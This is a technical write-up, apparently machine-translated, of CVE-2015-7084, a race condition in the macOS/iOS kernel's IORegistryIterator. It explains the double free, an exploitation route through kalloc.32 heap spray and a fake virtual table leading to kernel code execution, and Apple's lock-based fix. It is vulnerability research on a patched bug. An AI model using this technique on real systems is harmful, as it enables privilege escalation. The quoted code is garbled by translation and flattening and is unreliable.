IORegistryIterator competitive condition vulnerability can cause arbitrary code execution

IORegistryIterator competitive condition vulnerability can cause arbitrary code execution
0x00 Introduction

CVE-2015-7084 is because IORegistryIterator does not consider the user State of multi-threaded simultaneous calls, causing Race Condition, can lead to arbitrary code execution. The vulnerability exists in the kernel before XNU version 3248.20.55, that is, the OS versions before Mac OS X 10.11.2, iOS 9.2, watchOS 2.1, and tvOS 9.1. Official repair announcement https://support.apple.com/en-us/ht205637.

0x01 vulnerability background

IORegistryIterator is a class used in the XNU kernel to traverse and access the IO Registry Entry. The lock mechanism is missing when IORegistryIterator is operated on Kernel versions earlier than XNU version 3248.20.55, that is, Mac OS X 10.11.2, iOS 9.2, watchOS 2.1, and tvOS 9.1, user-State processes cause Race Condition through multi-threaded calls, and can finally execute arbitrary code. This vulnerability was reported by Ian Beer of Google Project Zero, a CVE serial CVE-2015-7084.

0x02 Vulnerability Analysis

Ian Beer in https://code.google.com/p/google-security-research/issues/detail? Id = 598 describes the vulnerability and a PoC code that causes Double Free.

Is_io_registry_iterator_exit_entry is the kernel interface corresponding to IORegistryIteratorExitEntry and calls the IORegistryIterator: exitEntry function.

1 2 3 4 5 6 7 8 9/* Routine io_registry_iterator_exit */kern_return_t break (io_object_t iterator) {bool didIt; CHECK (IORegistryIterator, iterator, iter ); didIt = iter-> exitEntry (); return (didIt? KIOReturnSuccess: kIOReturnNoDevice );}

.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 bool IORegistryIterator: exitEntry (void) {IORegCursor * gone ;... If (where! = & Start) {gone = where; // Race Condition where = gone-> next; IOFree (gone, sizeof (IORegCursor )); // gone may be released twice. return (true);} else return (false );... }

However, due to the lack of lock protection, calling IORegistryIteratorExitEntry through multiple threads causes the memory area pointed to by gone to be released twice, causing a crash. As follows:

0x03 vulnerability Exploitation

Because Double Free is not easy to use, Pangu Team has provided another idea in its blog article http://blog.pangu.io/race_condition_bug_92/, which can stably use race Condition to execute arbitrary code. The following describes the specific analysis of this idea, and implements Elevation of Privilege on Mac OS X 10.11 When Kernel Slide is known.

1. Attack Process

By observing the function enterEntry of IORegistryIterator, we can find that it contains the operations to insert nodes to a one-way linked list, as shown below:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void IORegistryIterator: enterEntry (const IORegistryPlane * enterPlane) {IORegCursor * prev; prev = where; where = (IORegCursor *) IOMalloc (sizeof (IORegCursor); assert (where); if (where) {where-> iter = 0; where-> next = prev; // Insert a new where node into the head of the linked list, where-> next points to the old where-> current = prev-> current; plane = enterPlane ;}}

 

IORegistryIterator: exitEntry contains the operation to remove the head node of the one-way linked list and releases the removed node memory.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 bool IORegistryIterator: exitEntry (void) {IORegCursor * gone ;... If (where! = & Start) {gone = where; where = gone-> next; // remove the current where node IOFree (gone, sizeof (IORegCursor) from the head of the linked list )); // release the removed node memory region return (true);} else return (false );... }

Call IORegistryIteratorEnterEntry and IORegistryIteratorExitEntry in two threads respectively. In a specific execution sequence, the enterEntry may execute where-> next = prev, if the where region to which prev points has been released by the IOFree of exitEntry, where-> next points to the released memory.

Then, when the second call of exitEntry, the where will point to the released memory, which can be controlled through Heap Spray.

1 2 3 4 5 6 7 8 9 bool IORegistryIterator: exitEntry (void ){... If (where! = & Start) {gone = where; // where-> next has pointed to the released region where = gone-> next; // where points to the released region }... }

Finally, when calling exitEntry for the third time, where-> iter is controllable. By ing the user space memory iter object virtual table, arbitrary code can be executed.

1 2 3 4 5 6 7 8 9 bool IORegistryIterator: exitEntry (void ){... If (where-> iter) {// where-> iter controllable where-> iter-> release (); // You can construct a virtual table, execute any code where-> iter = 0 ;}... }

The attack process is as follows:

2. Heap Spray

The key to exploiting this vulnerability is to control the content of the released memory area pointed to by where. Where is the IORegCursor pointer applied by IOMalloc and located in kalloc.32 zone.

1 2 3 4 5 struct IORegCursor {IORegCursor * next; IORegistryEntry * current; OSIterator * iter ;};

 

After the second exitEntry is called, the memory area pointed to by where is in the freelist linked list of kalloc.32. We can use heap spray kalloc.32 to repopulate the memory in freelist with the data we control to control where-> iter. The heap spray method is to combine io_service_open_extended and OSData. The Pangu Team mentioned this heap spray method in the topic Hacking from iOS8 to iOS9 in POC 2015.

 

By constructing specific XML data that contains data labels, you can use io_service_open_extended to create any UserClient. When deserializing data in OSUnserializeXML, you can use OSData to occupy the memory, implement heap spray in any zone.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 object_t * buildData (parser_state_t * state, object_t * o) {OSData * data; if (o-> size) {data = OSData: withBytes (o-> data, o-> size) ;}else {data = OSData: withCapacity (0 );} if (o-> idref> = 0) rememberObject (state, o-> idref, data); if (o-> size) free (o-> data ); o-> data = 0; o-> object = data; return o ;}; 3. arbitrary Code Execution

Map two memory spaces in the user space, placing the constructed iter object and the constructed virtual table respectively. Set the third QWORD field of data in XML to the constructed iter object pointer and perform heap spray. After heap spray is used to control the content of the memory area pointed to by where, where-> iter is controllable, and where-> iter-> release () is called () the system calls the functions in the constructed virtual table to execute arbitrary code. If the Kernel Slide is known, the Elevation of Privilege is successfully implemented in both 10.10.5 and 10.11. 10.10.5 is as follows:

0x04 official repair

In the XNU source code of 10.11.2, Apple officially fixed the issue. An IOUserIterator is added to encapsulate IORegistryIterator, lock reset operations, and lock enterEntry and exitEntry to prevent Race Condition caused by multi-thread calls.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 19 20 21 22 23 24 25 26 27/* Routine io_registry_iterator_enter */kern_return_t encode (io_object_t iterator) {CHECKLOCKED (IORegistryIterator, iterator, iter); IOLockLock (oIter-> lock); iter-> enterEntry (); IOLockUnlock (oIter-> lock); return (kIOReturnSuccess );} /* Routine io_registry_iterator_exit */kern_return_t is_io _ Iterator (io_object_t iterator) {bool didIt; CHECKLOCKED (IORegistryIterator, iterator, iter); IOLockLock (oIter-> lock); didIt = iter-> exitEntry (); IOLockUnlock (oIter-> lock); return (didIt? KIOReturnSuccess: kIOReturnNoDevice );}